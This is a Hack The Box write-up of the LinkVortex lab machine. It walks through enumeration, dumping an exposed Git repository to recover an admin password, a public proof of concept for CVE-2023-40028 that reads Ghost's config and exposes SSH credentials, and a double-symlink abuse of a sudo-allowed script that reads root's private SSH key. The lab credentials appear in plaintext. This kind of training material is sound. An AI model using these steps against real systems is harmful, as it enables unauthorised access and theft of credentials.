Skip to main content
HTB: LinkVortex
  1. Posts/

HTB: LinkVortex

·1453 words·7 mins
Table of Contents

Introduction
#

Easy Linux box based around enumeration and careful note taking for user and a little bit of code review for root.

TLDR Solution
#

An easy Linux box running an instance of Ghost for a blog with an exposed Git repo that reveals credentials to admin dashboard. The outdated instance is vulnerable to CVE-2023-40028 that allows me to read user credentials for SSH access. Several mistakes in shell script the user can run as sudo allows me to escalate to root.

  1. VHOST Enumeration to find `dev` subdomain
  2. Subdomain Enumeration to find exposed `git` directory
  3. Discover password in git directory
  4. Exploit outdated version of Ghost
  5. Find credentials to SSH in
  6. Exploit vulnerable bash script you can run with sudo
  7. Grab the flags

Recon
#

nmap
#

Nmap scan finds two open TCP ports, SSH (22) and HTTP (80):

sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results {BOX_IP}

<SNIP>
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMHm4UQPajtDjitK8Adg02NRYua67JghmS5m3E+yMq2gwZZJQ/3sIDezw2DVl9trh0gUedrzkqAAG1IMi17G/HA=
|   256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKKLjX3ghPjmmBL2iV1RCQV9QELEU+NF06nbXTqqj4dz
80/tcp open  http    syn-ack ttl 63 Apache httpd
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://linkvortex.htb/
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
<SNIP>

Add linkvortex.htb to /etc/hosts and re-run the nmap scan.

nmap on linkvortex.htb
#

sudo nmap -sC -sV -p 80 linkvortex.htb

<SNIP>
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd
|_http-server-header: Apache
|_http-generator: Ghost 5.58
|_http-title: BitByBit Hardware
| http-robots.txt: 4 disallowed entries 
|_/ghost/ /p/ /email/ /r/
<SNIP>

Port 80
#

Other than generic information about hardware the website is pretty much empty. The sign up points to http://linkvortex.htb/#/portal/ which does nothing and posts are authored by ‘admin’. There is nothing else here.

website

The site is Powered by Ghost, this with the nmap result leads me to linkvortex.htb/ghost, a login page that is a dead end for now, but will come back later.

ghost

Directory brute force scan did not find anything interesting.

Subdomain Enumeration
#

As always, next step is to look for more attack surface, starting with subdomain enumeration.

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://linkvortex.htb/ -H 'Host: FUZZ.linkvortex.htb' -fs 230


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://linkvortex.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Header           : Host: FUZZ.linkvortex.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 230
________________________________________________

dev                     [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 34ms]
Dev                     [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 28ms]
DEV                     [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 30ms]
:: Progress: [220560/220560] :: Job [1/1] :: 1257 req/sec :: Duration: [0:02:56] :: Errors: 0 ::

Ffuf discovered a dev.linkvortex.htb subdomain. (add it to /etc/hosts) Unfortunately the site is just a Coming Soon message.

dev

Directory Brute Force
#

Let’s run a directory brute force scan on the subdomain.

gobuster dir -u http://dev.linkvortex.htb/ -w /usr/share/dirb/wordlists/common.txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://dev.linkvortex.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 199]
/.htaccess            (Status: 403) [Size: 199]
/.git/HEAD            (Status: 200) [Size: 41]
/.htpasswd            (Status: 403) [Size: 199]
/cgi-bin/             (Status: 403) [Size: 199]
/index.html           (Status: 200) [Size: 2538]
/server-status        (Status: 403) [Size: 199]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

There is a git repo I can access, and download. I’ll use git-dumper to do that.

Use virtual environment to install git-dumper.

Create virtual environment: GUIDE

and install and run git-dumper

pipx install git-dumper

git-dumper http://dev.linkvortex.htb/.git git_loot

Contents of the ghost repo are now downloaded in the git_loot directory. I can check what was happening in there using:

git log --oneline --graph --all
git

I poked around in the repo for a bit, there were a few hits, or at least I thought so, on grep -r 'password' . But the main breakthrough came from using:

git status

Not currently on any branch.
Changes to be committed:
  (use "git restore --staged <file>..." to unstage)
        new file:   Dockerfile.ghost
        modified:   ghost/core/test/regression/api/admin/authentication.test.js

Which shows not yet commited files. The Dockerfile.ghost gave me a version of ghost but was not too interesting otherwise. The second file was much more fruitful.

git diff --cached ghost/core/test/regression/api/admin/authentication.test.js

diff --git a/ghost/core/test/regression/api/admin/authentication.test.js b/ghost/core/test/regression/api/admin/authentication.test.js
index 2735588..e654b0e 100644
--- a/ghost/core/test/regression/api/admin/authentication.test.js
+++ b/ghost/core/test/regression/api/admin/authentication.test.js
@@ -53,7 +53,7 @@ describe('Authentication API', function () {
 
         it('complete setup', async function () {
             const email = 'test@example.com';
-            const password = 'thisissupersafe';
+            const password = 'OctopiFociPilfer45';
 
             const requestMock = nock('https://api.github.com')
                 .get('/repos/tryghost/dawn/zipball') 

There was a plaintext password inside!

Ghost dashboard
#

With the password I could log in to the /ghost as admin.

There is a way to enumerate valid users by the error message on unsuccessful login attempts.

user_enum
dashboard

Shell
#

CVE-2023-40028
#

I could confirm that the Ghost is running version 5.58.0 here.

version

Searching for it returns potential way in, CVE-2023-40028. And there is also a PoC I could use.

./CVE-2023-40028 -u admin@linkvortex.htb -p 'OctopiFociPilfer45' -h http://linkvortex.htb/
poc

To find anything useful I have to know the exact path, not just a file name. We know location of config file from the Dockerfile.ghost from Git dump. /var/lib/ghost/config.production.json

config

And can pull contents of the file:

{
  "url": "http://localhost:2368",
  "server": {
    "port": 2368,
    "host": "::"
  },
  "mail": {
    "transport": "Direct"
  },
  "logging": {
    "transports": ["stdout"]
  },
  "process": "systemd",
  "paths": {
    "contentPath": "/var/lib/ghost/content"
  },
  "spam": {
    "user_login": {
        "minWait": 1,
        "maxWait": 604800000,
        "freeRetries": 5000
    }
  },
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth"
        }
      }
    }
}

At the bottom there are credentials for bob@linkvortex.htb.

SSH as bob
#

With the credentials from config file I can ssh in as bob ssh bob@{BOX_IP} and get the user flag.

Privilege escalation
#

sudo
#

Run sudo -l to discover that bob can run a cleanup script using sudo.

sudo -l

Matching Defaults entries for bob on linkvortex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty, env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
/opt/ghost/clean_symlink.sh

#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

First the script defines some variables and initializes CHECK_CONTENT to false if it is not set, then it checks if the input ends with “.png”. In the “if section”: - If the scanned file is not a link, it doesn’t do anything - If it contains the string etc or root, it prints a warning and removes the link. - Otherwise, it moves the link file to quarantine, if CHECK_CONTENT is true it prints the contents of the link

Exploit the script
#

There are three ways to exploit this script:

  -  Double symlinks
  -  Command Injection on `$CHECK_CONTENT`
  -  Race condition

Double symlinks #

The script gets the content of the link, and makes sure that the target of the link does not have root or etc in it. What it does not check is if that target of the link is also a symlink. This means I can create a .png file that will link to another file in /home/bob which will link to anything in the root or etc.

ln -sf /home/bob/dangerous_link.png safe_link.png
ln -sf /root/.ssh/id_rsa dangerous_link.png
symlink

With the setup ready I can run the command and get id_rsa of root.

CHECK_CONTENT=true sudo /usr/bin/bash /opt/ghost/clean_symlink.sh safe_link.png
root

Now just chmod 600 the file with key and

ssh -i id_rsa root@{BOX_IP}

to grab the root flag!

This was the fastest of the 3 options, try to figure out the rest on your own.

Author
~